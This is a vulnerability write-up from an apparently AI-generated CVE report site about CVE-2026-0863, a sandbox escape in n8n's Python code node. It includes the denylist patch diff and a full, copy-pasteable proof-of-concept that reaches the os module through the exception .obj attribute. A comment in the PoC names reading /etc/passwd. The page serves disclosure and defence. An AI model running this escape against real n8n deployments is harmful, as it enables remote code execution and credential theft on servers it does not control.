CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-0863

Snake in the Sandbox: Breaking n8n with Python 3.10 Internals

Alon Barad
Alon Barad
Software Engineer

Jan 20, 2026·7 min read·169 visits

Executive Summary (TL;DR)

The n8n Python sandbox tries to block bad words like `os` or `__traceback__`. However, Python 3.10 introduced a "helpful" feature where `AttributeError` objects carry a reference to the object that caused the error in their `.obj` attribute. Attackers can abuse this to launder forbidden objects through an exception handler, bypass the denylist, and execute arbitrary system commands.

A sophisticated sandbox escape in n8n's Python task executor leverages a Python 3.10 error-handling feature to bypass static analysis. By intentionally triggering exceptions inside formatted strings, attackers can access restricted internal objects via the 'obj' attribute of the exception, eventually leading to full Remote Code Execution (RCE).

The Hook: When Automation Meets Isolation

n8n is the darling of the low-code automation world. It lets you stitch together workflows—webhooks, databases, Slack messages—like a digital Frankenstein. But sometimes, drag-and-drop boxes aren't enough. Users want raw power. They want to write code. Enter the Python Code Node.

Allowing users to write Python scripts in an automated workflow is a feature request from hell. You have to execute untrusted code on your server while pinky-promising that it won't touch the file system or spawn a reverse shell. To achieve this, n8n implements a python-task-executor with a sandbox. The goal is simple: allow math and string manipulation, but forbid the dark arts (os, sys, subprocess).

For a long time, this worked by parsing the user's code into an Abstract Syntax Tree (AST) and playing "Whac-A-Mole" with dangerous attribute names. If your code contained __traceback__ or f_builtins, the TaskAnalyzer would slap it down before execution. But as every security researcher knows, static analysis in a dynamic language like Python is like trying to hold water in a sieve.

The Flaw: Python's Helpful Hand Grenade

The vulnerability (CVE-2026-0863) isn't a buffer overflow or a logic error in n8n's code per se; it's a clever abuse of a feature introduced in Python 3.10. The Python developers, in their infinite quest to make debugging easier, added a new attribute to AttributeError and NameError exceptions called obj.

When you try to access an attribute that doesn't exist (e.g., dog.meow), Python raises an AttributeError. Crucially, this exception object now holds a reference to the dog instance in e.obj. It's meant to help developers see what they were trying to access.

Here lies the bypass. The n8n sandbox operates on a denylist (bad practice #1). It scans your code for forbidden words. If you type x = my_object.__traceback__, the analyzer sees the AST node for __traceback__ and screams.

However, the analyzer doesn't block the word obj, because accessing generic objects is normal. The flaw is that the sandbox failed to realize that obj can be a proxy for forbidden fruit. If an attacker can trick the interpreter into internally accessing a forbidden attribute (like __traceback__) inside a structure the static analyzer ignores (like a format string), and then trigger an error on it, the resulting exception will happily hand the forbidden object over via .obj, effectively scrubbing the "forbidden" taint.

The Code: Analysis of a Sandbox Fail

The fix for this issue is embarrassingly simple, highlighting just how fragile denylist-based sandboxing is. The patch didn't rewrite the execution engine or implement eBPF filters. It just added three letters to a list.

Below is the relevant diff from packages/@n8n/task-runner-python/src/constants.py. The developers simply added "obj" to the list of forbidden attributes that the TaskAnalyzer looks for.

# packages/@n8n/task-runner-python/src/constants.py
 
DENYLISTED_ATTRIBUTES = [
     "__traceback__",
     "tb_frame",
     "f_builtins",
     "f_globals",
+    "obj",  # <--- The "fix"
     "__thisclass__",
     "__self_class__",
     # ... others ...
]

> [!NOTE] > The Reality Check: While this patches the immediate hole, it's a game of cat and mouse. If Python 3.14 adds a new attribute called whoopsie that exposes internal state, n8n will be vulnerable again until they update this list. This is why isolation at the OS level (containers, gVisor) is superior to language-level sandboxing.

The Exploit: Climbing the Ladder

Let's break the sandbox. We need to get os.system to run shell commands. The sandbox blocks direct imports of os and access to __builtins__. We have to climb the Python stack frame to find a reference to the global scope.

Step 1: The Magic Trick

We define a function new_getattr that takes an object and an attribute name we want to steal. It constructs a format string like f'{0.__traceback__.ribbit}'.

When .format(obj) executes, Python evaluates obj.__traceback__ (which succeeds internally) and then tries to access .ribbit (which fails). The resulting AttributeError contains obj.__traceback__ in its .obj field. We catch the error and return the loot.

Step 2: The Ascent

We start with a harmless exception to get a foothold. Then we chain our magic trick:

  1. Traceback: Get e.__traceback__ (forbidden).
  2. Frame: Get tb.tb_frame (forbidden).
  3. Builtins: Get frame.f_builtins (forbidden).
  4. Import: From builtins, grab the __import__ function.
  5. Globals: From the import function, grab its __globals__.
  6. OS: From globals, grab the os module.
  7. Victory: Call os.uname().

The Full PoC

# This runs inside the n8n Python node
def new_getattr(obj, attribute, *, Exception):
    try:
        # The static analyzer doesn't parse inside the format string deeply enough
        # to trigger the ban on 'attribute'
        f'{{0.{attribute}.ribbit}}'.format(obj)
    except Exception as e:
        # The .obj attribute was NOT on the denylist (pre-patch)
        return e.obj
 
try:
    raise ValueError("init")
except Exception as e:
    # 1. Steal the traceback
    tb = new_getattr(e, '__traceback__', Exception=Exception)
    # 2. Steal the frame
    frame = new_getattr(tb, 'tb_frame', Exception=Exception)
    # 3. Steal builtins dict
    builtins = new_getattr(frame, 'f_builtins', Exception=Exception)
    
    # 4. Construct string 'import' to bypass string literal filters
    us = chr(95)
    imprt_name = us + us + 'import' + us + us
    imprt = builtins[imprt_name]
    
    # 5. Get os from import's globals
    import_globals = new_getattr(imprt, '__globals__', Exception=Exception)
    os = import_globals['os']
    
    # 6. RCE
    # In a real attack: os.popen('cat /etc/passwd').read()
    return [{"json": {"pwned": os.uname()}}]

The Impact: From Sandbox to Root

The impact of this vulnerability depends heavily on how n8n is deployed.

Scenario A: Internal Execution Mode (Default/Legacy) In this mode, the Python code runs directly in the Node.js process wrapper on the host machine. An escape here is catastrophic. The attacker gains the privileges of the user running n8n. They can read environment variables (AWS keys, database credentials), modify other workflows, and pivot to the internal network.

Scenario B: External Execution Mode (Docker) If n8n is configured to use the python-task-executor in "External" mode, the code runs in a sidecar container. The exploit still works—you still get a shell—but you are trapped inside a minimal container. You can't immediately access the main n8n database or keys unless they are mounted into that specific container. However, container escapes are a whole other discipline, and you've just cleared the first hurdle.

CVSS 8.5 is no joke. The complexity is marked "High" because you need to understand Python internals, but as shown above, the script is copy-pasteable.

The Fix: Closing the Loophole

To mitigate this, you have two options. The boring one and the architectural one.

1. Patching: Update n8n immediately.

  • < 1.x: Update to 1.123.14
  • 2.x: Update to 2.3.5 or 2.4.2 This applies the patch that adds obj to the denylist.

2. Isolation (The Real Fix): Stop trusting language-level sandboxes. They are Swiss cheese. Configure n8n to use External execution mode. This spins up ephemeral workers for code execution. Even if someone breaks out of Python, they land in an empty room rather than your control center.

> [!NOTE] > Developer Lesson: If you are building a sandbox, assume it is already broken. Layer your defenses. Use seccomp, AppArmor, and network policies to restrict what the process can do after the inevitable escape.

Official Patches

n8nGitHub Pull Request #24216

Fix Analysis (1)

Technical Appendix

CVSS Score
8.5/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.07%
Top 80% most exploited

Affected Systems

n8n workflow automation tool (Self-hosted)n8n Cloud (Fixed by vendor)n8n python-task-executor component

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n-io
< 1.123.141.123.14
n8n
n8n-io
2.0.0 - 2.3.42.3.5
n8n
n8n-io
2.4.0 - 2.4.12.4.2
AttributeDetail
CWE IDCWE-95 (Eval Injection)
Attack VectorNetwork (Authenticated)
CVSS v3.18.5 (High)
ImpactConfidentiality, Integrity, Availability
Exploit StatusFunctional PoC Available
EPSS Score0.07% (Low Probability)

MITRE ATT&CK Mapping

T1059.006Command and Scripting Interpreter: Python
Execution
T1404Exploitation for Privilege Escalation
Privilege Escalation
T1211Exploitation for Defense Evasion
Defense Evasion
CWE-95
Eval Injection

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Known Exploits & Detection

JFrog SecurityOriginal disclosure and Proof of Concept

Vulnerability Timeline

Patch committed by n8n team
2026-01-13
Public disclosure and NVD publication
2026-01-18

References & Sources

  • [1]Fix Commit on GitHub
  • [2]Python 3.10 Release Notes (Error Handling)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 19 hours ago•CVE-2026-115895
8.8

CVE-2026-115895: Code Injection via Unsanitized Import Alias in Happy DOM ECMAScript Module Compiler

CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.

Amit Schendel
Amit Schendel
7 views•10 min read
•about 20 hours ago•CVE-2026-115883
6.0

CVE-2026-115883: Cross-Namespace Access via Dot-Delimited Labels in LangGraph Postgres and SQLite Stores

An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.

Amit Schendel
Amit Schendel
8 views•9 min read
•about 21 hours ago•CVE-2026-115886
6.5

CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.

Alon Barad
Alon Barad
9 views•10 min read
•about 22 hours ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
7 views•12 min read
•about 23 hours ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
7 views•13 min read
•1 day ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
10 views•9 min read